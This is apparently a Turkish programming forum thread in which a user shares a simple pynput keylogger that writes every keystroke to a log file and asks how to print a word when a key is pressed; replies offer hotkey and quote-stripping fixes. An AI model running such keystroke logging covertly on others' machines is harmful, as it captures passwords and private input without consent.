Keylogger harf bilme

Pynput modülü kullanarak yapılan bir keylogger buldum hangi harfe falan bastığımı anlıyor ve dosyaya
yazdırıyor. Bende bastığım harfin hangisi olduğunu bilmeye çalıştım yani ‘a’ harfine basınca mesela
ekrana merhaba yazsın istiyorum.Ama yapamadım yardımcı olursanız sevinirim.

from pynput.keyboard import Key, Listener
import logging

log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

Ben de eskiden pynput modülüyle ilgileniyordum. Uzun zaman olunca unutmuşum çoğu şeyi. Biraz araştırma yaparak bilgilerimi tazeledim.

from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging

current = set()
log_dir = ""

COMBINATIONS = [
    {keyboard.KeyCode(char='a')}, #a tuşuna basılırsa
    {keyboard.Key.shift, keyboard.KeyCode(char='A') } #shift + a tuşuna basılırsa
]

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))
    
    if any([key in COMBO for COMBO in COMBINATIONS]):
        current.add(key)
        if any(all(k in current for k in COMBO) for COMBO in COMBINATIONS):
            print("b") # ekrana b yazar
            
    print(str(key)) #basılan tuşları ekrana yazar

    if key == keyboard.Key.esc:
        return False #esc basılırsa program kapanır

def on_release(key):
    if any([key in COMBO for COMBO in COMBINATIONS]):
        current.remove(key)

    

with Listener(on_press=on_press) as listener:
    listener.join()

Kaynak: http://nitratine.pythonanywhere.com/youtube/python-hotkeys

Bir şeyleri açıklamakta gerçekten kötüyüm. Eğer anlaşılmadıysa nereyi anlamadığınızı belirtirseniz bana yardımcı olursunuz. Böylelikle daha rahat anlatabilirim.

sizin istediğiniz kısaca böyle


import pynput.keyboard as pyn

def on_press(key):
	print("merhaba" if str(key)[1:-1] == "a" else str(key)[1:-1])

with pyn.Listener(on_press=on_press) as listener:
    listener.join()

sizin kodlarınızdaki sorun str(key)[1:-1] yerine str(key) yazmanız.Çünkü pynput modülü ekrana tek tırnakların arasında keyleri yazıyor bizde [1:-1] bu şekilde baştaki ve sondaki tırnak işaretlerini siliyor tırnaksız bir şekilde keyi yazdırıyoruz sorun çözülmüş oluyor.

yani str(key) kodu ile eğer a harfine basarsak ekrana ‘a’ (a tırnaklar arasında) basıyor
böyle yazarsak str(key)[1:-1] ekrana tırnaksız bir şekilde a yazıyor